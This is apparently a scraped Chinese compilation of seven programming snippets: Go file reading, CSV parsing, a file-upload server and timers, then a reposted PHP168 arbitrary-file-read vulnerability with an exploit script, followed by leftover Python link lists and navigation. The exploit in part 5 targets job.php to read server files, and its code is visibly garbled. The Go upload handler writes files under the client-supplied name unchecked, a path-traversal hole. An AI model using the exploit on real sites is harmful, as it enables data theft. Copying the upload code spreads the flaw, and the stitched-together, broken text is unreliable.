以下是小编为大家准备的GO语言常用的文件读取方式,本文共7篇,希望对大家有帮助。本文原稿由网友“饱暖思淫欲”提供。
篇1:GO语言常用的文件读取方式
这篇文章主要介绍了GO语言常用的文件读取方式,涉及一次性读取、分块读取与逐行读取等方法,是非常实用的技巧,需要的朋友可以参考下
Golang 的文件读取方法很多,刚上手时不知道怎么选择,所以贴在此处便后速查。
一次性读取
小文件推荐一次性读取,这样程序更简单,而且速度最快。
代码如下:
func ReadAll(filePth string) ([]byte, error) {
f, err := os.Open(filePth)
if err != nil {
return nil, err
}
return ioutil.ReadAll(f)
}
还有更加简单的方法,我经常使用ioutil.ReadFile(filePth)
分块读取
可在速度和内存占用之间取得很好的平衡。
代码如下:
package main
import (
“bufio”
“io”
“os”
)
func processBlock(line []byte) {
os.Stdout.Write(line)
}
func ReadBlock(filePth string, bufSize int, hookfn func([]byte)) error {
f, err := os.Open(filePth)
if err != nil {
return err
}
defer f.Close
buf := make([]byte, bufSize) //一次读取多少个字节
bfRd := bufio.NewReader(f)
for {
n, err := bfRd.Read(buf)
hookfn(buf[:n]) // n 是成功读取字节数
if err != nil { //遇到任何错误立即返回,并忽略 EOF 错误信息
if err == io.EOF {
return nil
}
return err
}
}
return nil
}
func main() {
ReadBlock(“test.txt”, 10000, processBlock)
}
逐行读取
逐行读取有的时候真的很方便,性能可能慢一些,但是仅占用极少的内存空间,
代码如下:
package main
import (
“bufio”
“io”
“os”
)
func processLine(line []byte) {
os.Stdout.Write(line)
}
func ReadLine(filePth string, hookfn func([]byte)) error {
f, err := os.Open(filePth)
if err != nil {
return err
}
defer f.Close()
bfRd := bufio.NewReader(f)
for {
line, err := bfRd.ReadBytes(‘\\n‘)
hookfn(line) //放在错误处理前面,即使发生错误,也会处理已经读取到的数据。
if err != nil { //遇到任何错误立即返回,并忽略 EOF 错误信息
if err == io.EOF {
return nil
}
return err
}
}
return nil
}
func main() {
ReadLine(“test.txt”, processLine)
}
希望本文所述对大家的GO语言程序设计有所帮助。
篇2:go语言读取csv文件并输出的方法
作者:令狐不聪 字体:[增加 减小] 类型:
这篇文章主要介绍了go语言读取csv文件并输出的方法,实例分析了go语言操作csv文件的技巧,需要的朋友可以参考下
本文实例讲述了go语言读取csv文件并输出的方法,分享给大家供大家参考。具体实现方法如下:
代码如下:
package main
import (
“encoding/csv”
“fmt”
“io”
“os”
)
func main() {
file, err := os.Open(“names.txt”)
if err != nil {
fmt.Println(“Error:”, err)
return
}
defer file.Close()
reader := csv.NewReader(file)
for {
record, err := reader.Read()
if err == io.EOF {
break
} else if err != nil {
fmt.Println(“Error:”, err)
return
}
fmt.Println(record) // record has the type []string
}
}
希望本文所述对大家的Go语言程序设计有所帮助,
篇3:GO语言实现文件上传代码
本文给大家分享的是一则使用golang实现文件上传的代码,主要是使用os.Create创建文件,io.Copy来保存文件,思路非常清晰,这里推荐给大家,有需要的小伙伴参考下吧,
功能很简单,代码也很简洁,这里就不多废话了。
代码如下:
package main
import (
“fmt”
“io”
“net/http”
“os”
)
const (
upload_path string = “./upload/”
)
func helloHandle(w http.ResponseWriter, r *http.Request) {
io.WriteString(w, “hello world!”)
}
//上传
func uploadHandle(w http.ResponseWriter, r *http.Request) {
//从请求当中判断方法
if r.Method == “GET” {
io.WriteString(w, “我的第一个页面
} else {
//获取文件内容 要这样获取
file, head, err := r.FormFile(“file”)
if err != nil {
fmt.Println(err)
return
}
defer file.Close
//创建文件
fW, err := os.Create(upload_path + head.Filename)
if err != nil {
fmt.Println(“文件创建失败”)
return
}
defer fW.Close()
_, err = io.Copy(fW, file)
if err != nil {
fmt.Println(“文件保存失败”)
return
}
//io.WriteString(w, head.Filename+“ 保存成功”)
http.Redirect(w, r, “/hello”, http.StatusFound)
//io.WriteString(w, head.Filename)
}
}
func main() {
//启动一个http 服务器
http.HandleFunc(“/hello”, helloHandle)
//上传
http.HandleFunc(“/image”, uploadHandle)
err := http.ListenAndServe(“:8080”, nil)
if err != nil {
fmt.Println(“服务器启动失败”)
return
}
fmt.Println(“服务器启动成功”)
}
以上所述就是本文的全部内容了,希望大家能够喜欢,能够对大家学习go语言有所帮助,
篇4:go语言中使用timer的常用方式
作者:heishui 字体:[增加 减小] 类型:
下面三段代码(A,b,C)的功能都是在5分钟后执行指定的函数的go语言代码:
代码如下:
// (A)
time.AfterFunc(5 * time.Minute, func() {
fmt.Printf(“expired”)
}
// (B) create a Timer object
timer := time.NewTimer(5 * time.Minute)
<-timer.C
fmt.Printf(“expired”)
// (C) time.After() returns timer.C internally
<-time.After(5 * time.Minute)
fmt.Printf(“expired”)
希望本文所述对大家的Go语言程序设计有所帮助,
篇5:Php168 读取任意文件漏洞
转载地址:hi.baidu.com/saiy_hi/
哦,忘记说了,程序官方URL:www.php168.com/#
代码:..job.php Line:117
if( eregi(“.php”,$url) ){
die(“ERR”);
}
$fileurl=str_replace($webdb[www_url],“”,$url);
if(is_file(PHP168_PATH.“$fileurl”)&&filesize(PHP168_PATH.“$fileurl”)<1024*1024*500){
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$_filename=preg_replace(“/([\\d]+)_(200[\\d]+)_([^_]+)\\.([^\\.]+)/is”,“\\\\3”,$filename);
if(eregi(“^([a-z0-9=]+)$”,$_filename)&&!eregi(“(jpg|gif|png)$”,$filename)){
$filename=urldecode(base64_decode($_filename)).“.$filetype”;
}
ob_end_clean;
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
header('Content-Length: '.filesize(PHP168_PATH.“$fileurl”));
readfile(PHP168_PATH.“$fileurl”);
}else{
$fileurl=strstr($url,“://”)?$url:tempdir($fileurl);
header(“location:$fileurl”);
}
在这段代码里,有判断url里是否包含.php,但是在接下来,这里有个替换
$fileurl=str_replace($webdb[www_url],“”,$url);
.p$webdb[www_url]hp被替换后就是.php,但是可以顺利通过前面的是否存在.php的判断,
我没有安装这个代码,但是搜索了一下代码,$webdb[www_url]应该是Web的URL地址。
结论是:可以读取任意文件。
我写了一个Exp来读取文件,但是由于没有安装php168,所以如果有人愿意测试就安了~
由于以前写的EXP太不人性化了,现在连输入变量的方式都改变了~~~
php php168.php运行就好了
PHP代码
make_input('file_path','先生,你想读个啥文件呢?'); $query = str_replace('php','ph'.$url.'p',$file_path); $hack_url = $url.'job.php?url='.base64_encode($query); $result = file_get_contents($hack_url); echo $result; die; function make_input($name,$msg=“请输入{name}的值”,0='text'){ global $$name; while(1){ $msg = str_replace('{name}',$name,$msg); $_input = trim(fgets(STDIN)); if(0=='int'){ $$name = $_input; } $$name = $_input; } }else{ } }
篇6:python读取浮点数和读取文件示例
-04-04Python编写的com组件发生R6034错误的原因与解决办法
2013-04-0450行代码实现贪吃蛇(具体思路及代码)
2013-11-11使用python BeautifulSoup库抓取58手机维修信息
-02-02python访问sqlserver示例
2014-02-02python和pyqt实现360的CLable控件
2013-12-12python调用cmd复制文件代码分享
2013-02-02python中的一些类型转换函数小结
-03-03学习python处理python编码问题
-04-04python启动办公软件进程(word、excel、ppt、以及wps的et、wps、w
2013-03-03python赋值操作方法分享
篇7:python读取浮点数和读取文件示例
最近更 新
python监控网卡流量并使用graphite绘图的
Python使用Socket(Https)Post登录百度的实
Eclipse + Python 的安装与配置流程
python抓取网页图片示例(python爬虫)
简单的通用表达式求10乘阶示例
python2.7删除文件夹和删除文件代码实例
Python 变量类型及命名规则介绍
Python下的Mysql模块MySQLdb安装详解
python从ftp下载数据保存实例
python算法学习之计数排序实例
热 点 排 行
Python入门教程 超详细1小时学会
python 中文乱码问题深入分析
比较详细Python正则表达式操作指
Python字符串的encode与decode研
Python open读写文件实现脚本
Python enumerate遍历数组示例应
Python 深入理解yield
Python+Django在windows下的开发
python 文件和路径操作函数小结
python 字符串split的用法分享
- 语言扭曲思维的方式令人惊奇2022-12-11
- go的短语前进2023-04-22
- 动词的过去式go2022-12-15
- go的短语 经历2024-02-14
- go的副词形式是什么2024-02-17
- 跨文化商务交际中非语言交际方式的运用论文2023-01-16
- 刻录机?什么是最大BD读取速度2024-11-03
- 涉密文件管理制度2023-12-23
- 文件报告范文2022-12-11
- 专利文件范文2023-05-05